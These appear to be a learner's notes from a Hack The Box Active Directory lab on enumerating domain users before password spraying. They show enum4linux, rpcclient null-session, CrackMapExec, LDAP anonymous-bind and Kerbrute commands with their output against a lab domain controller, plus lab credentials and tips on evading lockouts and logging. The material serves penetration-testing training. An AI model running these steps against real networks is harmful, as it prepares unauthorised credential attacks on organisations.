b-Create Target User List

From 4-Password Policy, we obtained password policy.

Now with the target user list, we can attempt on password spraying.

We can gather valid domain users via:

SMB NULL session
LDAP anonymous bind
Kerbrute - statistically-likely-usernamesor linkedin2username
LLMNR/NBT-NS Poisoning

Make sure we take password policy in to serious consideration so that we don’t get the account locked out.

SMB Null Session

enum4linux

jadu101@htb[/htb]$ enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
 
administrator
guest
krbtgt
lab_adm

rpcclient

jadu101@htb[/htb]$ rpcclient -U "" -N 172.16.5.5
 
rpcclient $> enumdomusers 
user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]

CrackMapExec

jadu101@htb[/htb]$ crackmapexec smb 172.16.5.5 --users
 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 0 baddpwdtime: 2022-01-10 13:23:09.463228
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\lab_adm                        badpwdcount: 0 baddpwdtime: 2021-12-21 14:10:56.859064

LDAP Anonymous Bind

ldapserach

jadu101@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
 
guest
ACADEMY-EA-DC01$
ACADEMY-EA-MS01$
ACADEMY-EA-WEB01$
htb-student
avazquez

windapsearch

jadu101@htb[/htb]$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
 
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 None
 
[+] Enumerating all AD users
[+]	Found 2906 users: 
 
cn: Guest
 
cn: Htb Student
userPrincipalName: htb-student@inlanefreight.local

Kerbrute

We can use Kerbrute to enumerate valid AD accounts.

Kerbrute uses pre-authentication, which is much faster and potentially stealthier way for password spraying.

Kerbrute doesn’t generate Windows event ID or logon failure.

jadu101@htb[/htb]$  kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop
 
2022/02/17 22:16:11 >  Using KDC(s):
2022/02/17 22:16:11 >  	172.16.5.5:88
 
2022/02/17 22:16:11 >  [+] VALID USERNAME:	 jjones@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:	 sbrown@inlanefreight.local

CrackMapExec - w Creds

jadu101@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
 
[sudo] password for htb-student: 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\htb-student:Academy_student_AD! 
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\administrator                  badpwdcount: 1 baddpwdtime: 2022-02-23 21:43:35.059620
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\guest                          badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\lab_adm                        badpwdcount: 0 baddpwdtime: 2021-12-21 14:10:56.859064

Moving On

Now that we have password policy and valid usernames in hand, we can move on to password spraying.

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